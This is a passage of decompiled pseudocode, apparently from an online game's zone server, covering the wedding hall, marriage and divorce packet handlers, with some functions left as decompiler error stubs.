*((_WORD *)v4 + 2), unk_125741BE, 1, 0); strncpy(lnkinf.linktoserver, "Wedding", 0xCu); lnkinf.linktoserver[12] = 0; strncpy(lnkinf.linktoclient, "Wedding", 0xCu); v8 = *(_DWORD *)v4; lnkinf.linktoclient[12] = 0; lnkinf.coordx = 558; lnkinf.coordy = 154; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v8 + 1136))(v4) == 4 ) (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 1140))(v4); (*(void (__thiscall **)(void *, NPCManager::LinkInformTemplete *, signed int))(*(_DWORD *)v4 + 1000))(v4, &lnkinf, 1); LABEL_15: --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ"); __security_check_cookie(v12); } // 531960: inconsistent function type and number of purged bytes // 4DBF10: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); //----- (00531B60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 void *v5; // ecx@3 int v6; // edx@4 unsigned __int64 v7; // qax@8 char *v8; // edi@13 int v9; // eax@13 char v10; // al@15 ZoneBaseSession *v11; // eax@16 signed int v12; // [sp-Ch] [bp-28h]@4 int v13; // [sp-Ch] [bp-28h]@13 signed int v14; // [sp-8h] [bp-24h]@4 const char *v15; // [sp-8h] [bp-24h]@13 signed int v16; // [sp-4h] [bp-20h]@4 char *v17; // [sp-4h] [bp-20h]@6 int v18; // [sp-4h] [bp-20h]@13 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v20; // [sp+18h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; if ( !(_S9_38 & 1) ) { _S9_38 |= 1u; stru_124F322C.cmc_AllowMode = 6; atexit(_E10_27); } v5 = v4; if ( !((1 << **((_BYTE **)v4 + 929)) & stru_124F322C.cmc_AllowMode) ) { v6 = *(_DWORD *)v4; v16 = 4993; v14 = 93; v12 = 8; goto LABEL_5; } LODWORD(v7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); if ( v7 < 0x3D090 ) { v6 = *(_DWORD *)v4; v16 = 4995; v14 = 93; v12 = 8; v5 = v4; LABEL_5: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v6 + 776))(v5, v12, v14, v16); LABEL_6: v17 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; goto LABEL_7; } switch ( (unsigned int)*((_BYTE *)v4 + 23300) >> 4 ) { case 0u: if ( !ShineDateTime::operator<((ShineDateTime *)((char *)v4 + 23305), &chargeditemcheck) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 93, 4994); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4233; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); v18 = 12; v15 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ : Packet Too Long"; *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v9 = *(_DWORD *)((char *)v4 + 23325); v13 = 12; LABEL_15: *((_DWORD *)v8 + 2) = v9; v10 = ProtocolPacket::pp_SetPacketLen(&gpp, v13); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v10, v15, v18) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); } (*(void (__thiscall **)(void *, signed int, _DWORD))(*(_DWORD *)v4 + 1852))(v4, 250000, 0); v17 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; break; case 2u: v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4237; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); v18 = 13; *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v9 = *(_DWORD *)((char *)v4 + 23325); v15 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ : Packet Too Long"; v8[12] = 0; v13 = 13; goto LABEL_15; case 1u: case 3u: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 93, 5000); v17 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ"; break; default: goto LABEL_6; } LABEL_7: --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v17); } //----- (00531DA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 bool v5; // al@8 void *v6; // ecx@8 unsigned __int64 v7; // qax@10 char *v8; // edi@13 ZoneBaseSession *v9; // eax@17 char *v10; // edi@19 ZoneBaseSession *v11; // eax@21 int v12; // [sp-10h] [bp-2Ch]@14 const char *v13; // [sp-Ch] [bp-28h]@14 char *v14; // [sp-8h] [bp-24h]@5 signed int v15; // [sp-8h] [bp-24h]@9 int v16; // [sp-8h] [bp-24h]@14 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v18; // [sp+18h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; if ( !(_S11_10 & 1) ) { _S11_10 |= 1u; stru_124F3234.cmc_AllowMode = 6; atexit(_E12_9); } if ( !((1 << **((_BYTE **)v4 + 929)) & stru_124F3234.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 93, 4993); LABEL_5: v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; goto LABEL_6; } switch ( (unsigned int)*((_BYTE *)v4 + 23300) >> 4 ) { default: goto LABEL_5; case 0u: v5 = ShineDateTime::operator<((ShineDateTime *)((char *)v4 + 23305), &chargeditemcheck); v6 = v4; if ( !v5 ) { v15 = 4994; LABEL_12: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v6, 8, 93, v15); v18 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } LODWORD(v7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); if ( v7 < 0xB71B0 ) { v15 = 4995; v6 = v4; goto LABEL_12; } v8 = gpp.pp_Buffer; if ( *((_BYTE *)v4 + 23330) >= 3u ) { *(_WORD *)gpp.pp_Buffer = 4237; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); v16 = 13; *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v13 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ : Packet Too Long"; *((_DWORD *)v8 + 2) = *(_DWORD *)((char *)v4 + 23325); v8[12] = 1; v12 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 13); } else { *(_WORD *)gpp.pp_Buffer = 4235; *((_WORD *)v8 + 1) = *((_WORD *)v4 + 2); v16 = 12; *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v13 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ : Packet Too Long"; *((_DWORD *)v8 + 2) = *(_DWORD *)((char *)v4 + 23325); v12 = (unsigned __int8)ProtocolPacket::pp_SetPacketLen(&gpp, 12); } if ( !AssertClass::operator__(&shineassert, v12, v13, v16) ) { v9 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v9); } (*(void (__thiscall **)(void *, signed int, _DWORD))(*(_DWORD *)v4 + 1852))(v4, 750000, 0); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; LABEL_6: --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); return; case 4u: v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4237; *((_WORD *)v10 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v10 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v10 + 2) = *(_DWORD *)((char *)v4 + 23325); v10[12] = 1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v11 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v11); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ : Packet Too Long", 13); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; } goto LABEL_6; case 1u: case 3u: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 8, 93, 5000); v14 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; goto LABEL_6; } } //----- (00532070) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@2 ZoneBaseSession *v6; // eax@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2300))(v4) + 8) & 0xF) == 2 ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4239; if ( (*(_BYTE *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2300))(v4) + 8) & 0xF0) == 64 ) { *((_DWORD *)v5 + 1) = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2300))(v4) + 33); *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v5[12] = 1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 13) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD : Packet Too Long", 13); } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ"); } //----- (00532190) -------------------------------------------------------- #error "532190: undefined or illegal type '#325' (funcsize=162)" //----- (005323F0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_CHAR_WEDDING_CANCEL_WEDDING(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // eax@1 v3 = *(_DWORD *)&netcmd[1].protocol; if ( unk_124F3264 == v3 || unk_124F3250 == v3 ) { if ( weddinghall.Reserved ) { if ( !unk_124F323D ) { weddinghall.Reserved = 0; unk_124F323D = 0; } } } } //----- (00532430) -------------------------------------------------------- #error "532430: undefined or illegal type '#585' (funcsize=13)" //----- (00532460) -------------------------------------------------------- #error "532460: undefined or illegal type '#325' (funcsize=163)" //----- (00532680) -------------------------------------------------------- #error "532680: undefined or illegal type '#325' (funcsize=157)" //----- (005328C0) -------------------------------------------------------- #error "5328C0: undefined or illegal type '#325' (funcsize=109)" //----- (00532A40) -------------------------------------------------------- #error "532A40: undefined or illegal type '#325' (funcsize=68)" //----- (00532B50) -------------------------------------------------------- #error "532B50: undefined or illegal type '#325' (funcsize=53)" //----- (00532C30) -------------------------------------------------------- #error "532C30: undefined or illegal type '#325' (funcsize=106)" //----- (00532DD0) -------------------------------------------------------- #error "532DD0: undefined or illegal type '#325' (funcsize=72)" //----- (00532F00) -------------------------------------------------------- #error "532F00: undefined or illegal type '#325' (funcsize=85)" //----- (00533050) -------------------------------------------------------- #error "533050: undefined or illegal type '#325' (funcsize=85)" //----- (005331A0) -------------------------------------------------------- #error "5331A0: undefined or illegal type '#325' (funcsize=72)" //----- (005332D0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { char *v3; // ST04_4@2 char *v4; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)&netcmd[4].protocol ) { v3 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 5) = *(_DWORD *)&netcmd[2].protocol; ZoneRingPacketRefreshWeddingInfo::zrpb_Request( &zonringpack_refresh_weddinginfo, *(_DWORD *)&netcmd[2].protocol, (NETCOMMAND *)v3); v4 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 5) = *(_DWORD *)((char *)&netcmd[6].protocol + 1); ZoneRingPacketRefreshWeddingInfo::zrpb_Request( &zonringpack_refresh_weddinginfo, *(_DWORD *)((char *)&netcmd[6].protocol + 1), (NETCOMMAND *)v4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK"); } //----- (005333A0) -------------------------------------------------------- #error "5333A0: undefined or illegal type '#325' (funcsize=41)" //----- (00533430) -------------------------------------------------------- #error "533430: undefined or illegal type '#325' (funcsize=142)" //----- (00533630) -------------------------------------------------------- #error "533630: undefined or illegal type '#325' (funcsize=62)" //----- (00533740) -------------------------------------------------------- #error "533740: undefined or illegal type '#325' (funcsize=76)" //----- (00533860) -------------------------------------------------------- #error "533860: undefined or illegal type '#325' (funcsize=283)" //----- (00533C50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingData(void *this, int wed) { void *v2; // ebx@1 bool v3; // zf@1 unsigned __int64 v4; // qax@3 int v5; // ecx@3 AbnormalStateDictionary::AbState::AbStateStr *v6; // edi@7 SubAbStateInfo *v7; // eax@7 char *v8; // eax@12 int v9; // eax@14 char *v10; // [sp-14h] [bp-38h]@2 Name4 validName; // [sp+4h] [bp-20h]@3 unsigned int v12; // [sp+14h] [bp-10h]@16 int v13; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeddingData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(wed + 6) == 0; v13 = 0; if ( v3 ) { PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_((int)((char *)v2 + 23292), wed); *(_QWORD *)&validName.n4_name[8] = 0i64; *(_QWORD *)&validName.n4_name[0] = 0i64; StrUtil::ConvertToNormalName(validName.n4_name, (const char *)v2 + 23309); v4 = __PAIR__(*(unsigned int *)&validName.n4_name[4], *(unsigned int *)&validName.n4_name[8]); *(_DWORD *)((char *)v2 + 23309) = *(_DWORD *)&validName; v5 = *(_DWORD *)&validName.n4_name[12]; *(_DWORD *)((char *)v2 + 23317) = v4; *(_DWORD *)((char *)v2 + 23313) = HIDWORD(v4); *(_DWORD *)((char *)v2 + 23321) = v5; switch ( *((_BYTE *)v2 + 23300) & 0xF ) { case 1: Checker::ApplicationLimit(); break; case 2: v6 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, STA_WEDDINGBUFF); (*(void (__thiscall **)(void *, void *, ABSTATEINDEX, signed int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 1528))( v2, v2, v6->index->AbStataIndex, 1, v6, clockwatch.cw_CurrTick, 0, -1, 1000000000, 0); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, v6->index->AbStataIndex); v7 = v6->subabstate[1].assa_info; if ( v7 ) { (*(void (__thiscall **)(void *, ABSTATEINDEX, unsigned int, signed int))(*(_DWORD *)v2 + 992))( v2, v6->index->AbStataIndex, v7->KeepTime, 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v2, v6->index->AbStataIndex, v6->subabstate[1].assa_info->KeepTime, 1); } Checker::DivorceLimit(); if ( (*((_BYTE *)v2 + 23300) & 0xF0) == 64 ) (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 8, 93, 4996); break; case 3: Checker::DelayLimit(); break; } v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4225; memcpy(v8 + 2, (char *)v2 + 23292, 0x27u); *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 41) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_WeddingData : Packet Too Long", 41); } v13 = -1; v10 = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; } else { v13 = -1; v10 = "ShineObjectClass::ShinePlayer::so_ply_WeddingData"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); __security_check_cookie(v12); } //----- (00533E90) -------------------------------------------------------- void __fastcall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ(int a1, int netcmd, int len, __int16 handle) { int v4; // esi@1 unsigned __int16 v5; // ax@1 int v6; // edi@3 unsigned __int16 v7; // ax@8 char v8; // al@12 char v9; // al@13 unsigned int v10; // ebx@14 unsigned int v11; // ebp@14 char *v12; // ebx@14 char v13; // al@14 ZoneBaseSession *v14; // eax@15 unsigned __int16 v15; // [sp+8h] [bp-30h]@9 char *v16[6]; // [sp+Ch] [bp-2Ch]@2 unsigned __int16 v17; // [sp+Ch] [bp-2Ch]@9 FunctionEntarance _; // [sp+20h] [bp-18h]@1 __int64 ReservedTime; // [sp+24h] [bp-14h]@1 int v20; // [sp+34h] [bp-4h]@1 v4 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; ReservedTime = 0i64; v5 = Checker::WhenReserve(); if ( v5 ) { ProposeResult((#325 *)v4, *(_WORD *)(v4 + 4), v5); v16[0] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v16[0]); return; } v6 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)(v4 + 23325)); if ( !v6 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1212))(v6) != 2 || (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v6) > 0x2710 ) { ReservResult((#325 *)v4, 0x1305u, 0i64); v16[0] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ"; goto LABEL_20; } if ( !ShineDateTime::operator>((ShineDateTime *)(v4 + 23305), &chargeditemcheck) ) { ReservResult((#325 *)v4, 0x1304u, 0i64); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v7 = Checker::WhenReservePartner(); if ( v7 ) { v17 = v7; v15 = *(_WORD *)(v4 + 4); LABEL_18: ProposeResult((#325 *)v4, v15, v17); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( !WeddingHall::wh_Reserv(&weddinghall, (#325 *)v4, (#325 *)v6, &ReservedTime) ) { ReservResult((#325 *)v4, 0x1306u, ReservedTime); v20 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } ShineObjectClass::ShinePlayer::sp_MakeItem((void *)v4, *(_WORD *)(v4 + 4), 10, unk_125741BE, 0xFu); if ( !v8 || (ShineObjectClass::ShinePlayer::sp_MakeItem((void *)v6, *(_WORD *)(v6 + 4), 10, unk_125741BE, 0xFu), !v9) ) { v17 = 4874; v15 = *(_WORD *)(v4 + 4); goto LABEL_18; } v10 = HIDWORD(ReservedTime); v11 = ReservedTime; ReservResult((#325 *)v4, 0x1300u, ReservedTime); ReservResult((#325 *)v6, 0x1300u, __PAIR__(v10, v11)); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 1629; *(_DWORD *)(v12 + 2) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *(_DWORD *)(v12 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 836))(v6); v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 10); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ : Packet Too Long", 10) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v14); } v20 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00534170) -------------------------------------------------------- #error "534170: undefined or illegal type '#585' (funcsize=141)" //----- (00534380) -------------------------------------------------------- #error "534380: undefined or illegal type '#585' (funcsize=128)" //----- (005345A0) -------------------------------------------------------- void __thiscall WeddingHall::wh_Routine(WeddingHall *this) { WeddingHall *v1; // esi@1 char v2; // bl@1 unsigned int v3; // ST04_4@4 char *v4; // edi@10 char *v5; // [sp-14h] [bp-24h]@9 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WeddingHall::wh_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WeddingHall::wh_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( !v1->Reserved ) goto LABEL_13; if ( v1->Started || ShineDateTime::operator>(&v1->EnteringStart, &chargeditemcheck) ) { if ( !ShineDateTime::operator>(&v1->WeddingEnd, &chargeditemcheck) ) { v1->Reserved = 0; v1->Started = 0; } goto LABEL_13; } v3 = v1->Groom.RegistNumber; v1->Started = 1; if ( WeddingHall::wh_RecallCouple(v1, v3) ) v2 = 1; if ( WeddingHall::wh_RecallCouple(v1, v1->Bride.RegistNumber) ) ++v2; if ( v2 != 2 ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8277; v4[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v4 + 3) = -1; *(_DWORD *)(v4 + 5) = -1; *(_DWORD *)(v4 + 9) = v1->Groom.RegistNumber; *(_DWORD *)(v4 + 13) = v1->Bride.RegistNumber; v4[17] = v2; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 18); LABEL_13: v5 = "WeddingHall::wh_Routine"; goto LABEL_14; } WeddingHall::wh_Start(&weddinghall); v5 = "WeddingHall::wh_Routine"; LABEL_14: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v5); } //----- (005346E0) -------------------------------------------------------- void __thiscall ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd) { char v2; // bl@1 char *v3; // eax@3 ZoneBaseSession *v4; // eax@5 char *v5; // eax@11 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( LOBYTE(netcmd[1].protocol) == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { if ( HIBYTE(netcmd[8].protocol) ) { WeddingHall::wh_Start(&weddinghall); } else { v3 = gpp.pp_Buffer; weddinghall.Reserved = 0; unk_124F323D = 0; *(_WORD *)gpp.pp_Buffer = 1631; *(_DWORD *)(v3 + 2) = *(_DWORD *)((char *)&netcmd[4].protocol + 1); *(_DWORD *)(v3 + 6) = *(_DWORD *)((char *)&netcmd[6].protocol + 1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v4 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gamelog); ProtocolPacket::pp_SendPacket(&gpp, v4); } else { AssertClass::ac_AssertFail(&shineassert, "WeddingHall::wh_Cancel : Packet Too Long", 10); } } } else { if ( WeddingHall::wh_RecallCouple(&weddinghall, *(_DWORD *)((char *)&netcmd[4].protocol + 1)) ) v2 = 1; if ( WeddingHall::wh_RecallCouple(&weddinghall, *(_DWORD *)((char *)&netcmd[6].protocol + 1)) ) ++v2; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8277; v5 += 2; *(_DWORD *)v5 = *(_DWORD *)&netcmd[1].protocol; *((_DWORD *)v5 + 1) = *(_DWORD *)&netcmd[3].protocol; *((_DWORD *)v5 + 2) = *(_DWORD *)&netcmd[5].protocol; *((_DWORD *)v5 + 3) = *(_DWORD *)&netcmd[7].protocol; v5[15] += v2; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 18); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG"); } //----- (00534860) -------------------------------------------------------- void __thiscall WorldManagerSession::WorldManagerSession(WorldManagerSession *this) { WorldManagerSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&WorldManagerSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 5; } // 5DFF2C: using guessed type int (__stdcall *WorldManagerSession___vftable_)(int interval); //----- (00534890) -------------------------------------------------------- void __thiscall WorldManagerSession::_WorldManagerSession(WorldManagerSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&WorldManagerSession::_vftable_; 